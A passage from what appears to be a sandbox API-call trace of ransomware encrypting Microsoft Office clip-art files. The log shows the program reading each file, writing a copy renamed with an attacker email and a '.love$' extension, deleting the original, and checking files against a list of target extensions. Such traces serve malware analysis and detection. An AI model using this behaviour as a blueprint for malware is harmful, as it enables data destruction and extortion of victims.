Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0247.717] lstrlenW (lpString=".1cd") returned 4 [0247.717] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0247.717] lstrlenW (lpString=".jpg") returned 4 [0247.717] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.717] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0247.717] lstrlenW (lpString="PARNT_09.MID") returned 12 [0247.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.718] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=6764) returned 1 [0247.718] CloseHandle (hObject=0x418) returned 1 [0247.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 0x220 [0247.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.719] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.719] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0247.720] GetLastError () returned 0x0 [0247.720] ReadFile (in: hFile=0x418, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x1a6c, lpOverlapped=0x0) returned 1 [0247.753] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0247.754] ReadFile (in: hFile=0x418, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.754] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.754] SetEndOfFile (hFile=0x548) returned 1 [0247.754] CloseHandle (hObject=0x548) returned 1 [0247.754] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.755] SetEndOfFile (hFile=0x418) returned 1 [0247.758] CloseHandle (hObject=0x418) returned 1 [0247.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0247.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0247.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0247.759] lstrlenW (lpString=".doc") returned 4 [0247.759] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.759] lstrlenW (lpString=".docx") returned 5 [0247.759] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0247.759] lstrlenW (lpString=".pdf") returned 4 [0247.759] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.759] lstrlenW (lpString=".xls") returned 4 [0247.759] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.759] lstrlenW (lpString=".xlsx") returned 5 [0247.759] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0247.760] lstrlenW (lpString=".ppt") returned 4 [0247.760] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0247.760] lstrlenW (lpString=".zip") returned 4 [0247.760] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.760] lstrlenW (lpString=".rar") returned 4 [0247.760] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.760] lstrlenW (lpString=".bz2") returned 4 [0247.760] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.760] lstrlenW (lpString=".7z") returned 3 [0247.760] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0247.760] lstrlenW (lpString=".dbf") returned 4 [0247.760] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0247.760] lstrlenW (lpString=".1cd") returned 4 [0247.760] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0247.760] lstrlenW (lpString=".jpg") returned 4 [0247.760] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0247.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0247.760] lstrlenW (lpString=".doc") returned 4 [0247.760] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.760] lstrlenW (lpString=".docx") returned 5 [0247.760] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0247.760] lstrlenW (lpString=".pdf") returned 4 [0247.760] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.760] lstrlenW (lpString=".xls") returned 4 [0247.761] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.761] lstrlenW (lpString=".xlsx") returned 5 [0247.761] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0247.761] lstrlenW (lpString=".ppt") returned 4 [0247.761] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0247.761] lstrlenW (lpString=".zip") returned 4 [0247.761] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.761] lstrlenW (lpString=".rar") returned 4 [0247.761] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.761] lstrlenW (lpString=".bz2") returned 4 [0247.761] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.761] lstrlenW (lpString=".7z") returned 3 [0247.761] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0247.761] lstrlenW (lpString=".dbf") returned 4 [0247.761] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0247.761] lstrlenW (lpString=".1cd") returned 4 [0247.761] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0247.761] lstrlenW (lpString=".jpg") returned 4 [0247.761] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.761] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0247.762] lstrlenW (lpString="PARNT_10.MID") returned 12 [0247.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0247.777] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=5393) returned 1 [0247.777] CloseHandle (hObject=0x53c) returned 1 [0247.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 0x220 [0247.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0247.779] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.779] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0247.780] GetLastError () returned 0x0 [0247.780] ReadFile (in: hFile=0x53c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x1511, lpOverlapped=0x0) returned 1 [0247.814] WriteFile (in: hFile=0x540, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x1520, lpOverlapped=0x0) returned 1 [0248.196] ReadFile (in: hFile=0x53c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0248.196] WriteFile (in: hFile=0x540, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xec, lpOverlapped=0x0) returned 1 [0248.196] SetEndOfFile (hFile=0x540) returned 1 [0248.196] CloseHandle (hObject=0x540) returned 1 [0248.197] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.197] SetEndOfFile (hFile=0x53c) returned 1 [0248.201] CloseHandle (hObject=0x53c) returned 1 [0248.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0248.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0248.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0248.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0248.203] lstrlenW (lpString=".doc") returned 4 [0248.203] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.203] lstrlenW (lpString=".docx") returned 5 [0248.203] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0248.203] lstrlenW (lpString=".pdf") returned 4 [0248.203] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.203] lstrlenW (lpString=".xls") returned 4 [0248.203] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.203] lstrlenW (lpString=".xlsx") returned 5 [0248.203] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0248.203] lstrlenW (lpString=".ppt") returned 4 [0248.203] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0248.203] lstrlenW (lpString=".zip") returned 4 [0248.203] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.203] lstrlenW (lpString=".rar") returned 4 [0248.203] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.203] lstrlenW (lpString=".bz2") returned 4 [0248.203] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.203] lstrlenW (lpString=".7z") returned 3 [0248.203] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0248.204] lstrlenW (lpString=".dbf") returned 4 [0248.204] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0248.204] lstrlenW (lpString=".1cd") returned 4 [0248.204] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0248.204] lstrlenW (lpString=".jpg") returned 4 [0248.204] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0248.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0248.204] lstrlenW (lpString=".doc") returned 4 [0248.204] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.204] lstrlenW (lpString=".docx") returned 5 [0248.204] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0248.204] lstrlenW (lpString=".pdf") returned 4 [0248.204] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.204] lstrlenW (lpString=".xls") returned 4 [0248.204] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.204] lstrlenW (lpString=".xlsx") returned 5 [0248.204] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0248.204] lstrlenW (lpString=".ppt") returned 4 [0248.204] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0248.204] lstrlenW (lpString=".zip") returned 4 [0248.204] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.204] lstrlenW (lpString=".rar") returned 4 [0248.205] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.205] lstrlenW (lpString=".bz2") returned 4 [0248.205] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.205] lstrlenW (lpString=".7z") returned 3 [0248.205] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0248.205] lstrlenW (lpString=".dbf") returned 4 [0248.205] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0248.205] lstrlenW (lpString=".1cd") returned 4 [0248.205] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0248.205] lstrlenW (lpString=".jpg") returned 4 [0248.205] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.205] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0248.205] lstrlenW (lpString="ROAD_01.MID") returned 11 [0248.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0248.208] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=5983) returned 1 [0248.208] CloseHandle (hObject=0x53c) returned 1 [0248.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 0x220 [0248.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0248.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0248.209] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.209] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0248.213] GetLastError () returned 0x0 [0248.213] ReadFile (in: hFile=0x53c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x175f, lpOverlapped=0x0) returned 1 [0248.350] WriteFile (in: hFile=0x540, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x1760, lpOverlapped=0x0) returned 1 [0248.351] ReadFile (in: hFile=0x53c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0248.351] WriteFile (in: hFile=0x540, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xea, lpOverlapped=0x0) returned 1 [0248.352] SetEndOfFile (hFile=0x540) returned 1 [0248.352] CloseHandle (hObject=0x540) returned 1 [0248.352] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.352] SetEndOfFile (hFile=0x53c) returned 1 [0248.355] CloseHandle (hObject=0x53c) returned 1 [0248.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0248.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 1 [0248.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0248.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0248.357] lstrlenW (lpString=".doc") returned 4 [0248.357] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.357] lstrlenW (lpString=".docx") returned 5 [0248.358] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0248.358] lstrlenW (lpString=".pdf") returned 4 [0248.358] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.358] lstrlenW (lpString=".xls") returned 4 [0248.358] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.358] lstrlenW (lpString=".xlsx") returned 5 [0248.358] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0248.358] lstrlenW (lpString=".ppt") returned 4 [0248.358] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0248.358] lstrlenW (lpString=".zip") returned 4 [0248.358] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.358] lstrlenW (lpString=".rar") returned 4 [0248.358] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.358] lstrlenW (lpString=".bz2") returned 4 [0248.358] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.358] lstrlenW (lpString=".7z") returned 3 [0248.358] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0248.358] lstrlenW (lpString=".dbf") returned 4 [0248.358] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0248.358] lstrlenW (lpString=".1cd") returned 4 [0248.358] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0248.358] lstrlenW (lpString=".jpg") returned 4 [0248.358] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0248.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0248.359] lstrlenW (lpString=".doc") returned 4 [0248.359] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.359] lstrlenW (lpString=".docx") returned 5 [0248.359] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0248.359] lstrlenW (lpString=".pdf") returned 4 [0248.359] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.359] lstrlenW (lpString=".xls") returned 4 [0248.359] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.359] lstrlenW (lpString=".xlsx") returned 5 [0248.359] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0248.359] lstrlenW (lpString=".ppt") returned 4 [0248.359] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0248.359] lstrlenW (lpString=".zip") returned 4 [0248.359] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.359] lstrlenW (lpString=".rar") returned 4 [0248.359] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.359] lstrlenW (lpString=".bz2") returned 4 [0248.359] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.359] lstrlenW (lpString=".7z") returned 3 [0248.359] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0248.359] lstrlenW (lpString=".dbf") returned 4 [0248.359] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0248.359] lstrlenW (lpString=".1cd") returned 4 [0248.359] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0248.359] lstrlenW (lpString=".jpg") returned 4 [0248.360] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.360] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0248.360] lstrlenW (lpString="SHOW_01.MID") returned 11 [0248.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 